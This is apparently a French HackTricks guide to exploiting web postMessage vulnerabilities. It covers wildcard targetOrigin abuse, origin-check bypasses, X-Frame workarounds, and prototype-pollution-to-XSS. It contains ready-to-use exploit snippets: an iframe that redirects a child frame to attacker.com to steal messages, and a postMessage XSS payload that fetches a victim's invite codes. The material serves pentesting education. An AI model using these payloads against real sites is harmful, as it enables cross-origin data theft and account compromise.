228 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnérabilités PostMessage
## Vulnérabilités PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Envoyer **PostMessage**
**PostMessage** utilise la fonction suivante pour envoyer un message :
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Notez que **targetOrigin** peut être un '\*' ou une URL comme _https://company.com._\
Dans le **deuxième scénario**, le **message ne peut être envoyé qu'à ce domaine** (même si l'origine de l'objet window est différente).\
Si le **wildcard** est utilisé, **les messages peuvent être envoyés à n'importe quel domaine**, et seront envoyés à l'origine de l'objet Window.
### Attaquer iframe & wildcard dans **targetOrigin**
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (pas de protection `X-Frame-Header`) et qui **envoie des messages sensibles** via **postMessage** en utilisant un **wildcard** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuiter** le **message sensible** vers un domaine contrôlé par vous.\
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un wildcard**, ce **truc ne fonctionnera pas**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## exploitation de addEventListener
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend des `postMessages`**.\
Un code similaire à celui-ci sera utilisé :
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Notez dans ce cas que la **première chose** que le code fait est **de vérifier l'origine**. C'est terriblement **important**, surtout si la page va faire **quoi que ce soit de sensible** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison** et changent les mots de passe des victimes (dans cet exemple).
### Énumération
Pour **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez :
- **Rechercher** dans le code JS `window.addEventListener` et `$(window).on` (_version JQuery_)
- **Exécuter** dans la console des outils de développement : `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Aller à** _Elements --> Event Listeners_ dans les outils de développement du navigateur
![](<../../images/image (396).png>)
- Utiliser une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur vont **intercepter tous les messages** et vous les montrer.
### Contournements de vérification d'origine
- L'attribut **`event.isTrusted`** est considéré comme sécurisé car il renvoie `True` uniquement pour les événements générés par de véritables actions de l'utilisateur. Bien qu'il soit difficile à contourner s'il est correctement implémenté, son importance dans les vérifications de sécurité est notable.
- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- La méthode **`search()`** de `String.prototype.search()` est destinée aux expressions régulières, pas aux chaînes. Passer autre chose qu'une regexp entraîne une conversion implicite en regex, rendant la méthode potentiellement non sécurisée. Cela est dû au fait qu'en regex, un point (.) agit comme un caractère générique, permettant de contourner la validation avec des domaines spécialement conçus. Par exemple :
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- La fonction **`match()`**, similaire à `search()`, traite les regex. Si la regex est mal structurée, elle pourrait être sujette à contournement.
- La fonction **`escapeHtml`** est destinée à assainir les entrées en échappant les caractères. Cependant, elle ne crée pas un nouvel objet échappé mais écrase les propriétés de l'objet existant. Ce comportement peut être exploité. En particulier, si un objet peut être manipulé de sorte que sa propriété contrôlée ne reconnaisse pas `hasOwnProperty`, l'`escapeHtml` ne fonctionnera pas comme prévu. Cela est démontré dans les exemples ci-dessous :
- Échec attendu :
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Contournement de l'échappement :
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Dans le contexte de cette vulnérabilité, l'objet `File` est particulièrement exploitable en raison de sa propriété `name` en lecture seule. Cette propriété, lorsqu'elle est utilisée dans des modèles, n'est pas assainie par la fonction `escapeHtml`, ce qui entraîne des risques de sécurité potentiels.
- La propriété `document.domain` en JavaScript peut être définie par un script pour raccourcir le domaine, permettant une application plus souple de la politique de même origine au sein du même domaine parent.
### Contournement de e.origin == window.origin
Lors de l'intégration d'une page web dans un **iframe sandboxé** en utilisant %%%%%%, il est crucial de comprendre que l'origine de l'iframe sera définie sur null. Cela est particulièrement important lors de la gestion des **attributs sandbox** et de leurs implications sur la sécurité et la fonctionnalité.
En spécifiant **`allow-popups`** dans l'attribut sandbox, toute fenêtre popup ouverte depuis l'iframe hérite des restrictions de sandbox de son parent. Cela signifie que, à moins que l'attribut **`allow-popups-to-escape-sandbox`** ne soit également inclus, l'origine de la fenêtre popup est également définie sur `null`, s'alignant avec l'origine de l'iframe.
Par conséquent, lorsqu'une popup est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la popup en utilisant **`postMessage`**, les deux extrémités d'envoi et de réception ont leurs origines définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** évalue à vrai (`null == null`), car à la fois l'iframe et la popup partagent la même valeur d'origine de `null`.
Pour plus d'informations **lisez** :
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Contournement de e.source
Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les **Content Scripts des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Vous pouvez forcer **`e.source`** d'un message à être nul en créant un **iframe** qui **envoie** le **postMessage** et qui est **immédiatement supprimé**.
Pour plus d'informations **lisez :**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Contournement de l'en-tête X-Frame
Pour effectuer ces attaques, idéalement, vous pourrez **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Vol de message envoyé à l'enfant en bloquant la page principale
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la page **principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Vol de message en modifiant la localisation de l'iframe
Si vous pouvez iframe une page web sans X-Frame-Header qui contient un autre iframe, vous pouvez **changer la localisation de cet iframe enfant**, donc s'il reçoit un **postmessage** envoyé en utilisant un **wildcard**, un attaquant pourrait **changer** cette **origine** d'iframe à une page **contrôlée** par lui et **voler** le message :
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage pour la pollution de prototype et/ou XSS
Dans des scénarios où les données envoyées via `postMessage` sont exécutées par JS, vous pouvez **iframe** la **page** et **exploiter** la **pollution de prototype/XSS** en envoyant l'exploit via `postMessage`.
Quelques **XSS très bien expliqués via `postMessage`** peuvent être trouvés dans [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Exemple d'un exploit pour abuser de la **pollution de prototype et ensuite XSS** via un `postMessage` à un `iframe` :
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Pour **plus d'informations** :
- Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Lien vers la page sur [**XSS**](../xss-cross-site-scripting/index.html)
- Lien vers la page sur [**la pollution de prototype côté client à XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Références
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Pour pratiquer : [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}